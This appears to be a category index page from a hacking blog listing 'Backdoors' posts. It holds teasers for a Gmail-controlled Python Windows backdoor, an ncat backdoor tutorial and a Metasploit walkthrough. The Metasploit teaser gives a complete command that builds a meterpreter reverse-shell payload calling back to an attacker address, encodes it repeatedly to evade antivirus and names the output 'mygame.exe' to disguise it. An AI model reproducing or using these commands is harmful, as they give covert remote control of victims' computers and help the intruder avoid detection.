Category: Backdoors

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Backdoors

Gmail Windows backdoor

Gdog is a stealthy Python based Windows backdoor that uses Gmail as a command and control server. This project was inspired by the gcat(https://github.com/byt3bl33d3r/gcat) from @byt3bl33d3r. Requirements Python 2.x PyCrypto module WMI module Enum34 module Netifaces module Features Encrypted transportation messages (AES) + SHA256 hashing Generate computer unique id using system information/characteristics (SHA256 hash) Job …

Backdoors, Metasploit

Create crypted Backdoor with Metasploit and Backtrack

We will use windows/meterpreter/reverse_tcp payload. We will encode payload 10 times with shikata_ga_nai and 10 times with call4_dword_xor.   1. Open console window   2. Type: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=1337 R | msfencode -e x86/shikata_ga_nai -t raw -c 10 | msfencode -e x86/call4_dword_xor -t exe -c 10 -o mygame.exemsfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=1337 R | msfencode …

Backdoors, Netcat

Create Backdoor in Windows with ncat

Let’s see how we can create a non-persistent backdoor in Windows with ncat. We are going to need ncat.exe. Download and install Nmap. Locate ncat.exe in nmap’s installation folder. You will probably find ncat.exe, in this folder x:\Program Files (x86)\Nmap if you have 64bit Windows 7 system as I have. Copy it. It can work …